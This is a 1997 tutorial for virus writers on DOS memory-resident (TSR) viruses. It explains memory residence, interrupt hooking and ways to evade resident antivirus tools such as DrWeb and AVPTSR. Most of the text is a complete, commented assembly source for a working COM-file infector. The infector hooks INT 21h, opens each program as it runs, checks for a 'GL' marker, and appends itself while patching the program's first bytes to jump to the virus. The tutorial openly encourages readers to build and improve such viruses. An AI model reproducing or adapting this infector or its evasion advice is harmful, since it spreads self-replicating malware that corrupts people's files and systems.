RESIDENT VIRII WRITERS' TUTORIAL
(C)1997, LovinGOD
E-Mail: one@redline.ru
Devoted to: StealthWarrior

INTRODUCTION.

WHAT IS RESIDENT PROGRAM ?

Usually non-resident program is a file, loaded from disk by DOS. Termination of such program is the passing control back to DOS. DOS frees all memory, allocated for and by this program, and stays idle to execute next program.

Resident program passes control to DOS at the end of its execution, but leaves itself in memory whole or partially.

Such way of program termination was called TSR - Terminate-and-Stay-Resident. So resident programs often called by this abbreviations - TSR.

TSR stays in memory to have some control over the processes. Usually, TSRs takes INTerrupt vectors to its code, so, when interrupt occures, vector directs execution to TSR code.

For example, TSR can watch keypresses to steal password, INT 13h sectors operations to substitute info, INT 21h to watch and dispatch file operations and so on.

TSR PROGRAM EXAMPLE.

This example shows "normal" TSR program.
Program stays resident and beeps when you're running programs.

      ;-------------- start cut here
        .model tiny
        .code
        .radix 16
        org 100
        start:
        jmp install
                               ; INT 21 handler.
                               ; When INT 21 called, we're taking control and
                               ; looking for 4B00 - EXEC function.
                               ; If 4B00, then beep, and/else jump to old INT 21
                               ; address
        handler:
         cmp ax,4b00           ; We need 4B00 (EXEC) function
         jne jmp_old           ; Jump old INT 21 if not

                               ; EXEC function called. Perform an actions

         push ax               ; SAVE REGISTERS THAT WILL BE USED !!! AX there.
         mov  ax,0e07          ; Display teletype char, 07 - BEEP
         int  10               ; videoservice
         pop  ax               ; RESTORE USED REGISTERS !!!

        jmp_old:               ; All we needed is DONE. Let DOS continue.
         db 0EA                ; Instruction code JMP FAR
         old21 dw ?,?          ; Address that been changed to our, old INT 21
                               ; vector value

        end_tsr:               ; Label to determine end of TSR part.

        install:               ; The beginning of program
         mov ax,3521           ; Get INT 21 vector to ES:BX
         int 21
         mov old21,bx          ; Save INT 21 vector to use it later
         mov old21+2,es

         mov ax,2521           ; Change INT 21 vector to HANDLER's code
         mov dx,offset handler ; DS:DX - new address
         int 21
                                    ; Terminate and Stay Resident
                                    ; It means program will be terminated,
                                    ; leave in memory permanent block from
                                    ; offset 0 till DX, of current segment.
         mov dx,offset end_tsr+1
         int 27                  ; DOS interrupt that TSR

        end start
       ;------------- finish cut here

TSR VIRII

INTRODUCTION

TSR virii more progressive than non-TSR.
It can control machine work.
It can infect files during whole worktime.
It can hide itself in files, substituting infected parts with original.
It can do everything ...

Unless it's TSR virus, it doesn't mean termination of infected program to become TSR. Method, shown above, is usesless for virii.

When TSR virus starts from file, its main task is to establish control in memory. The rest tasks, such as infection, performed in resident part.

As other TSRs, virus should overtake an interrupt or splice into any code, that might be executed.

Interrupt handling is a classic method to keep control.

Boot virii controls INT 13h to keep in sight sectors operations.
File virus controls INT 21h to control file operations.

File infection performed when some files being named to INT 21h.
Virus can infect file at Exec(4B), Open(3D), Close(3E), Ask/Change Attributes (43), time (57), FindFirst/Next (4E,4F) and so on.

This is the classic ways to infect files, but there's no limits for your imagination. As much imagination as possible.

STRUCTURE OF TSR VIRUS

The flowchart of TSR virus:

1. Check is virus already in memory If yes, we don't need to install it again, exiting [4]
2. Allocate memory and copy virus body, hide used memory if needed
3. Overtake interrupts
4. Restore original program's bytes and pass control to it (it could be done before step [1], but this is most critical part coz antivirii uses it to cure file)

Things you shoulda decide before TSR virus writing:

1. where to reside in memory
2. how to make virus invisible in memory
3. what interrupt/function to handle for productive work
4. how to handle

MEMORY RESIDENCE

The most of memory residence methods are already detected and prevented by avx. But some of them are still usable.

To learn more about DOS MEMORY ALLOCATION, see ADDITION.

ALLOCATE MEMORY BLOCK

We'll use this method in our virus. Cut memory block of program, then allocate block and move virus there.

CUT CONVENTIONAL MEMORY

If block, into which your program-carrier been loaded, is last, just decrease size of it in MCB and decrease the same value in PSP - MemTop (?)where is it allocated ?

Conventional memory is 640K, of 0A000 paragraphs. If you need 4Kb for your virus, cut 100h paragraphs and move your body into this 4Kb gap.

UNUSED PARTS OF MEMORY.

Copying your self into memory that will never be used, you don't need to allocate, reallocate and hide anything. Just copy your body.

INTERRUPT TABLE

Use second half of interrupt table. It's a bit of danger if you'll cross with some INTs from 80h to 0FFh. If they exists and being called, machine will hang, be sure.

UNUSED DOS AREA.

Segment 60:

0060:0000-0060:0100 is used during system boot and stay unused and unchanged later. It's a good place for file virus to reside.

Also you can try memory from 54:0 till 61:0.

ANOTHER PLACES.

DOS stack area, which never be used coz stack is too big.

VIDEOBUFFER.

Don't reside there, coz it resets at videomode change. But it can be used for temporary operations.

Cut DOS file buffers (BUFFERS= in config.sys) and use the gap.

ADVANCED METHODS.

TSR AFTER PROGRAM TERMINATION.

Not new, already used in Maverick and Tchechen virii family.

Copy your body into addresses about 9000:0.
Overtake termination handler, INT 22h, but not in interrupt table !!!
Address for program termination located at offset 000C in PSP.
Set it to your handler, allocated somewhere in 9XXX seg.

When this address called, memory, used by program, already released !
Allocate new block, it will be situated just after last TSR program - it's not suspicious. Move virus there and overtake INT 21h.

Wait for program termination and allocate block after the TSR Small piece of resident code with overlay part on disk and so on...

ANTIVIRUS ALERT

TSR antivirus programs are main enemy of your virus. "-D","AVPTSR" and others.

THEY CAN DETECT AND/OR PREVENT YOUR ATTEMPTS TO...

ALLOCATE AND RESIDE IN MEMORY

Conventional memory decreasing. If total amount of conventional memory isn't 640Kb, almost all antiviruses will scream about it. So don't decrease total memory using method, described above.

Free memory decreasing.
If virus did allocate block and reserve it, amount of free memory decreased. It could be marked.

OVERTAKE INTERRUPT

INT 21h address could point to your virus in segment above 9000 or below 0070 (Segment 60 or 1st half of int table), DrWeb will mark this.

AVPTSR throws away all changed interrupt vectors after program termination, if program terminated as non-TSR.

INFECT FILES

Sitting on INT 21h, they control each file operation and scream if something suspicious was happened.

IS THERE REASON TO EXIST ?

TSR antivirus programs are oftenly annoying.
Fake warnings display.
Incomprehensive for user (like INT 21h, function 3F , AX=3F00,BX=0006... and so on) Imagine you are user...

TSR antivirus programs are rarely used.

But anyway you can defeat em, you need to fight against em. It's more complicated for the first time, let speak about it later.

Now,

TSR COM VIRUS SOURCE WITH DESCRIPTION

Source realized as infected program. When virus is done, the original "infected in source" program displays message.

Compiled with Turbo Assembler v.2.X and later.

     ------- start cut here

                            ; Standard COM source beginning
     .model tiny
     .code
     .radix 16
      org 100

      vir_paras equ 100     ; Paragraphs, required for virus in memory

     start:

            jmp virus       ; First 3 virus bytes
            ;-------------------------------------
            mov ah,09                               ; Infected program
            mov dx,offset message                   ;
            int 21                                  ;
            int 20                                  ;
            message db 'Virus Startoval',0dh,0a,'$' ;
            db 100 dup(0)                           ;
            ;-------------------------------------

     virus:                                         ;

       ; First we need to locate where we've been started from.
       ; Virus can be added to COM file of any length.
       ; So, starting offset will be different in each case

       ; The below code is very suspicious coz only virii uses it
       ; Another method is to put offset address into code when
       ; infecting file.

            call $+3                                ; Hex dump is "E8 00 00"
                                                    ; Call next instruction
                                                    ; It's offset will be pushed
                                                    ; into stack (for RET)
            pop bp                                  ; getting it
            sub bp,0003                             ; minus "call $+3" size

       ; Return original 3 bytes at the beginning of program (CS:0100),
       ; that been changed by virus to "JMP VIRUS"

            mov ax,2 ptr ds:[bp][oldbytes-virus]    ; 2 bytes
            mov ds:[100],ax                         ;
            mov al,ds:[bp][oldbytes+2-virus]        ; 3rd byte
            mov ds:[100+2],al                       ;
                                                    ; Now we can pass control
                                                    ; to original program code
                                                    ; when virus done
    ;-----------------------------------------------------------------------
    ;
    ; Being put in memory once, it still in and handle INT 21.
    ; To check is virus in memory or not, call pseudofunction, 0F1D0 here.
    ; This function is being served by our interupt handler ( see MY21: )
    ; If virus already in memory,  it will respond us with another value in AX.
    ; If not, DOS will return 0F100h in AX (See addition UNEXISTING DOS FUNCTION)

       mov ax,0f1d0
       int 21
       cmp ax,0deadh

       jne cont_virus
                                    ; We've get responce ! AX=0DEADh
                                    ; Virus already in memory and controls INT 21
                                    ; jump to original program
       mov ax,100
       jmp ax

      cont_virus:                   ; Virus isn't in memory. Correct this !
    ;-------------------------------------
    ; Allocating memory for the virus.
    ;
    ; Decrease size of current memory block, totally used by the program.
    ; Program doesn't need so much memory.
    ; Then allocate new memory block

    ; As we need VIR_PARAS paragraphs, we need to free VIR_PARAS+1 to allow DOS
    ; create an MCB for the new block.

                                    ; Getting block size from MCB
            push ds
            mov  bx,ds              ; PSP segment address
            dec  bx
            mov  ds,bx              ; MCB segment (PSP-1)
            mov  bx,ds:[0003]       ; Memory block size
            sub  bx,vir_paras+1
            pop  ds

            mov ah,4a               ; Change block size
            int 21

            mov ah,48               ; Allocate memory block
            mov bx,vir_paras
            int 21
                                    ; Result: on error CarryFlag=1
                                    ; on success CF=0, AX=Block's Segment Address
            mov es,ax
            xor di,di               ; Move CX bytes - DS:[SI] ===> ES:[DI]
            mov si,bp
            mov cx,end_virus-virus
            rep movsb

    ; Now virus is in separate memory block and begins with offset 0
    ; Jump into this block.

            push es                 ; CS
            mov  ax,continue-virus
            push ax                 ; IP
            retf

     continue:

    ;--------------------------------------------------------------------
      Program has allocated memory block.
      Block owner's address now is segment address of program.
      When program terminates, all its memory will be deallocated, including
      the block where virus resides now.
      We need to leave block in memory.
      Let system be the new owner of our block.
      The value of owner is 0008.

        mov ax,es
        dec ax
        mov es,ax                   ; MCB of virus mem.block
        mov 2 ptr es:[0001],0008    ; Owner: SYSTEM

                                    ; INFO:  DS = Old PSP, ES = NewMCB
    ;--------------------------------------------------------------------
        push ds                     ; Save program segment addr. for later return

        push cs                     ; DS=CS
        pop  ds
    ;--------------------------------------------------------------------
    ; Overtaking INT 21.
    ; The simpliest method is to use INT 21 functions.

    ; First, get INT 21 vector to use it in our handler for calling INT 21 and
    ; for passing execution to it.

        mov ax,3521             ; Get int. vector (al=int number)
        int 21                  ; Return:  ES:BX - INT 21 vector

        mov ds:[old21-virus],bx
        mov ds:[old21+2-virus],es

    ; Set new interrupt vector to our handler.

        mov ax,2521             ; AL=int. number
        mov dx,my21-virus       ; DS:DX - handler's address
        int 21

    ; Now virus terminating and stays resident

    ;   Makeup registers before the virus terminating
    ;   CS=DS=ES=SS Set DS and ES to program's segment

        pop  ds
        push ds
        pop  es

    ;   Jump to original program

        push ds                 ; (CS)  program segment
        mov ax,100              ; COM starts from offset 0100
        push ax                 ; (IP)
        retf                    ; Jump to original program

    ;-------------------------------------------------------------------
    ;  INT 21 handler.
    ;  If INT 21 was called with function 0F1d0, virus returns AX=0DEADh
    ;  If function = 4B00 (Execute), handler tests file on virus presence
    ;     and infects this file; then pass control to original INT 21;
    ;     program will be executed (but infected before)
    ;  If any other function called, handler passes control to original INT 21

        my21:

          cmp ax,0f1d0              ; virus' self-check function
          je  fido_dead

          cmp ax,4b00               ; Function Exec ?
          je  func_exec             ; Go and infect

          jmp jmpold21              ; Any other function ? Pass control to
                                    ; original INT 21. We ain't interested in it.
        fido_dead:
            mov ax,0deadh           ; Answer, that we're in memory
            iret                    ; Exit from INT 21

        func_exec:                  ;
                                    ; 4B00:(Execute file)
                                    ; Entry:  DS:DX= pathname,0 (ASCIIZ-line)
                                    ;         ES:BX= parameters block (nevermind)

                                    ; Save all registers
         push ax cx dx bx bp si
         push di ds es

         mov ax,3d02             ; Open file for read/write
                                 ; DS:DX already points to filename to be exec'ed
         call calldos            ; Calling INT 21h via original address
         ;jc error               ; CF=1 if open error
                                 ; AX=Handle

            ; INT 21 file functions, which dealth with handle, requires
            ; handle in BX. Put it in BX and stay there
            ; After INT 21 call BX still unchanged.
            ; So, put it in BX once and then we don't need to do it again

         ;mov bx,ax              ;
          xchg ax,bx             ; Optimized "MOV BX,AX" - 1 byte against 2

    ;-------------------------------------------------------
      Test file on virus presence.
      Infection ID there is 'GL' before the EOF. Read 2 bytes before EOF
      and test it.

            mov ax,4202             ; Set file pointer (func.42)
                                    ; AL=02 - offset from EndOfFile
                                    ; (01-from current position,00-from begin
                                    ; CX:DX - dword - required offset
                                    ; CX-high 2 bytes, DX-low two bytes
            mov cx,-1               ;
            mov dx,-2               ; -2 (FFFFFFFE) 2 bytes before EOF

            ;bx=handle              ; Handle in BX still present
            call calldos

            mov ah,3f               ; Read from file
            mov cx,2                ; CX=How many bytes (2bytes)
            mov dx,tmpbuf-virus     ; DS:DX - where to put these bytes

            push cs                 ; DS should point to our segment
            pop  ds                 ;

            call calldos

            cmp ds:[tmpbuf-virus],'GL'   ; !!! Look at reverse record 'LG','GL'
            jne not_infected             ; If not equal, file isn't infected

            ; DEBUG MESSAGE displays "FILE IS ALREADY INFECTED"

               mov ah,09                       ;
               mov dx,infected_msg-virus       ;
               call calldos                    ;
               jmp close_exit                  ; Goto exit

        not_infected:                       ; We needa infect it !

            ;DEBUG MESSAGE: File isn't infected
            mov ah,09                       ;
            mov dx,notinfected_msg-virus    ;
            call calldos                    ;

     ; INFECT FILE

        infect_file:
                                 ; Set file pointer to the beginning of file
            mov ax,4200
            xor cx,cx            ; 0
            xor dx,dx            ; 0
            call calldos         ; 0 offset from file beginning

                                 ; Read 3 bytes. It will be substituted with
                                 ; JMP VIRUS
            mov ah,3f
            mov dx,oldbytes-virus
            mov cx,3
            call calldos

     ; TEST FILE TYPE - COM or EXE
       EXE has "MZ" or "ZM" at file start

            mov si,dx            ; look at read operation - DX=read buffer offset
            cmp ds:[si],'ZM'
            je  infect_exe
            cmp ds:[si],'MZ'
            je  infect_exe
            jmp infect_com

        infect_exe:                 ; EXE file infection - next time; skip now
            jmp close_exit

        infect_com:
                                    ; Evaluate file size.
                                    ; File size could be evaluated by setting
                                    ; pointer to EOF (4202, CX:DX=0)
            mov ax,4202
            xor cx,cx
            xor dx,dx
            call calldos
                                    ; Returns:  DX:AX - filesize
                                    ; DX - high word, AX - low word

                                    ; Test file size. File + virus shouldn't
                                    ; be over 64Kb
            cmp ax,0f000
            jb  suitable
            jmp close_exit          ; File+Virus > 64kb

       suitable:

                    ; Create "JMP VIRUS" instruction.
                    ; Opcode of near jump is 0E9, then 2 bytes of offset
                    ; Offset is relative, it starts from next instruction
                    ; 0100: E9 0000      jmp 0103
                    ; 0103: ...
                    ; 0110: E9 0010      jmp 0123
                    ; ..
                    ; 0123:
                    ; Virus code will starts from the EOF, so jmp operand
                    ; will be (FILE_LENGTH-3)

            sub ax,0003
            mov 2 ptr ds:[jmpformed+1-virus],ax
                                       ; jmpformed is place for "JMP VIRUS"
                                       ; instruction that will be put into the
                                       ; file start

            mov ax,4200                ; set pointer to the beginning of file
            xor cx,cx
            xor dx,dx
            call calldos

            mov ah,40                  ; write 3 bytes
            mov cx,3
            mov dx,jmpformed-virus
            call calldos

            jc close_exit              ; exit on error

                                  ; Now it's time to add the rest virus to file
            mov ax,4202                ; Set pointer to the EOF
            xor cx,cx
            xor dx,dx
            call calldos

            mov ah,40                  ; Write whole virus body
            mov cx,end_virus-virus
            xor dx,dx                  ; body starts at offset 0000
            call calldos

                  ; Each opened file should be closed after use.
                  ; If too many files opened, the next file opening will
                  ; cause "Too many files opened" error.

                  ; *Anyway, DOS automatically closes handles 5..15 on program
                  ; termination and before program execution

        close_exit:

            mov ah,3e                       ;Close file, handle in BX
            call calldos

      ;-------------------------------------------------------

            pop es ds di                    ; Restore all pushed registers
            pop si bp bx dx cx ax

       ; Now the state of registers is the same as was

        jmpold21:                  ; We've done, let DOS does what it
                                   ; should

                                    ; jmp 4 ptr cs:[old21-virus]
            db 0ea                  ; jmp far opcode
            old21 dw ?,?            ; IP,CS - Here's old INT 21 vector

            tmpbuf db ?,?           ;
            infected_msg    db 'This file already infected.',07,0dh,0a,'$'
            notinfected_msg db 'This file isn''t infected.',07,0dh,0a,'$'

       ;----------------------------------
        calldos proc                        ; Call real DOS (vector that
                                            ; was before our handler)
                                            ; INT instruction pushes Flags,CS,IP
                                            ; IRET
            pushf
            call 4 ptr cs:[old21-virus]     ; call old DOS vector
            retn
            calldos endp

            ;-------------------------------------
            jmpformed db 0e9,00,00          ; buffer for "JMP VIRUS' instruction
            oldbytes db 90,90,90            ; original program 3 bytes are stored
                                            ; there
            db 'LG'                         ; VIRUS ID
     end_virus:
     end start

    ;------------- end cut here

ADDITIONS

DOS MEMORY ALLOCATION
DOS MEMORY LOGICAL STRUCTURE

      Structure of Conventional (640Kb) memory:

      0000:0000 - 0000:03FF   Interrupt vectors table
      0000:0400 - 0000:0500   BIOS data area
      0000:0500 - 0000:05..   DOS  data area
      0000:0700 - 9FFF:0000   Memory for system and programs

      Memory management in DOS performed via Memory Control Blocks (MCB).
      All memory after DOS data areas consists of blocks.
      Each block is paragraph aligned and has own MCB.

      MCB located before the block.
      Size of MCB is one paragraph (10h bytes).

MCB CONTENTS

      offset  size    meaning

        0      1      'M' - this block is not last
                      'Z' - this is last memory block

        1      2      Segment of block owner. If program allocates memory,
                      Owner field fills with segment address of this program.
                      0 - free block. After program termination all blocks,
                          allocated by it, became free by putting 0 there.
                      8 - owned by system - it will never be freed

        3      2      Block size in paragraphs
        8      8      Name of program that owns block. Did you see the memory
                      map which shows TSRs names ?

      The 1st NCB is determined by DOS and could be found thru LIST OF LISTS.

            mov ah,52h              ; Get DOS List of Lists
            int 21h
            mov es,es:[bx-2]        ; ES:BX - List of Lists address
                                    ; ES:[BX-2] - (2 bytes) 1st MCB segment addr.

      To see memory map, you can walk thru the chain of blocks.
      For example, 1st MCB is at 0780 segment.

       0780:0 'M' 0781  0200 ....
                 owner size

       2nd MCB is   0780
                   +   1 - MCB block size
                   + 200 - Block size
                   -----
                    0981

       0981:0 'M' 0982 1000 ... and so on

      Block size is a size without MCB, block segment is MCB_Segment+1.

DOS MEMORY HANDLING FUNCTIONS

INT 21h functions 48,49 and 4A are used to allocate and release memory blocks.

ALLOCATE MEMORY

       mov ah,48h
       mov bx,REQUIRED_PARAGRAPHS   ; How many paragraphs to allocate
       int 21h
       jc  Not_Enough_Memory        ; On ERROR CF=1, AX contains amount
                                    ; of available memory in biggest free
                                    ' block

       mov es,ax                    ; On SUCCESS AX=Segment Address of
                                    ; allocated block

Remember - one paragraph will be taken for MCB.

RELEASE MEMORY

                                    ; DS (?) should point to memory block
       mov ah,49h
       int 21h

REALLOCATE MEMORY (Change block size)

                                    ; DS (?) should point to memory block
       mov ah,4Ah
       mov bx,NEW_SIZE_IN_PARAGRAPHS
       int 21h

LOADING EXECUTABLES IN MEMORY

Loaded COM uses whole biggest free memory block, EXE file (?) requires memory according to header value, but usually EXE header's MaxMem = 0FFFF, so also whole block will be allocated.

Thus, you can't allocate free memory from the program, except separate small free blocks, situated among used.

To allocate memory block during program(virus) execution, you need to cut current block, owned by program, and allocate required memory. Remember about one paragraph for MCB.

UNEXISTING DOS FUNCTION

If unexisting fuction was called, DOS zeroes AL register and IRET.

People, English isn't my first language, so please report me about misspellings in this text. Thanx.